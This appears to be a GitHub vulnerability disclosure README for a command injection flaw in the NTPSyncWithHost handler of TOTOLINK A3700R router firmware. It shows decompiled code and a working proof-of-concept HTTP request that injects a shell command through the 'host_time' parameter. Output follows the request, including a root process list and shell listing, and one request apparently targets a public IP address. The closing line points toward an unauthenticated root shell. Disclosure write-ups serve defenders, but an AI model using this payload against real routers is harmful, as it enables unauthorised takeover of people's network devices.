

main ▾

...

vuln / TOTOLINK / A3700R / 3 / readme.md



Darry-lang1 Add files via upload

History

1 contributor



63 lines (41 sloc) | 2.27 KB

...

TOTOLink A3700R V9.1.2u.6134_B20201202 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=69&ids=36

Product Information

TOTOLink A3700R V9.1.2u.6134_B20201202 router, the latest version of simulation overview:

编号	标题	版本	上传时间	下载
1	A3700R数据资料	Ver1.0	2021-08-10	📄
2	A3700R升级固件	V9.1.2u.6134_B20201202	2021-08-10	📄
3	A3700R说明书	Ver1.0	2022-03-10	📄

Vulnerability details

TOTOLINK A3700R (V9.1.2u.6134_B20201202) was found to contain a command insertion vulnerability in NTPSyncWithHost. This vulnerability allows an attacker to execute arbitrary commands through the "host_time" parameter.

```
int __fastcall sub_422828(int a1)
{
    const char *Var; // $v0

    Var = (const char *)websGetVar(a1, "host_time", &byte_43AFC8);
    doSystem("date -s '%s'", Var);
    nvram_set_int("ntp_enable", 0);
    nvram_commit();
    setResponse(&word_43908C, "reserv");
    return 1;
}
```

Var passes directly into the dosystem function.

```
$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupg
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The dosystem function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}
```

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"host_time":"2022-07-19 22:24:46';ps;',","topicurl":"NTPSyncWithHost"}
```

```
Raw 参数 头 Hex
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 122.116.20.127
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: http://122.116.20.127/advance/time.html
DNT: 1
Connection: close
Referer: http://122.116.20.127/advance/time.html
Cookie: SESSION_ID=2:1658224702:2

["host_time":"2022-07-19 22:24:40","ps":"","topicurl":"NTPSyncWithHost"]

Raw 头 Hex Render
721 root 1440 S /sbin/watchdog
723 root 840 S /usr/sbin/mininupnd
728 root 972 S /bin/lid2d b0
735 root 856 S /usr/sbin/networkmap -w
737 root 1588 S /sbin/stats
743 root 900 S cipc
797 root 2728 S /usr/libexec/ipsec/starter --daemon charon
798 root 40248 S /usr/libexec/ipsec/charon --use-syslog
6346 root 2220 S /usr/sbin/lighttpd-f /lighttpd/lighttpd.conf
20922 root 1540 S /sbin/syslogd -s1024-b0 -S -D -O /tmp/syslog.log
20924 root 1536 S /sbin/legd
20928 root 1548 S /usr/sbin/cron -d8
21082 root 1548 S (sh) /bin/login
21093 root 1788 S /www/cgi-bin/cstecgi.cgi
21094 root 1548 S /bin/sh -c date -s '2022-07-19 22:24:40';ps"
21096 root 1544 R ps
21668 root 0 SW [worker2.2]
23700 nobody 1380 S /usr/sbin/dnsmasq
23724 root 1108 S /bin/gmproxy /etc/gmproxy.conf
{
  "success": true,
  "error": null,
  "lan_ip": "192.168.0.1",
  "etime": "0",
  "reserv": "reserv"
}
```

The above figure shows the POC attack effect

```
BusyBox v1.24.2 (2020-12-02 18:57:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # ls -l
drwxrwxr-x  2 1000  1000  4096 Jul 19 22:40 bin
drwxrwxr-x  3 1000  1000  4096 Dec  2 2020 dev
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 etc
drwxrwxr-x  4 1000  1000  4096 Dec  2 2020 etc_ro
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 home
lrwxrwxrwx  1 1000  1000    7 Dec  2 2020 init -> sbin/rc
drwxrwxr-x  3 1000  1000  4096 Dec  2 2020 lib
drwxrwxr-x  3 1000  1000  4096 Dec  2 2020 lighttp
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 media
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 mnt
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 opt
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 proc
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 sbin
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 sys
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 tmp
drwxrwxr-x  9 1000  1000  4096 Dec  2 2020 usr
drwxrwxr-x  2 1000  1000  4096 Dec  2 2020 var
drwxrwxr-x  9 1000  1000  4096 Dec  2 2020 www
/ #
```

Finally, you can write exp to get a stable root shell without authorization.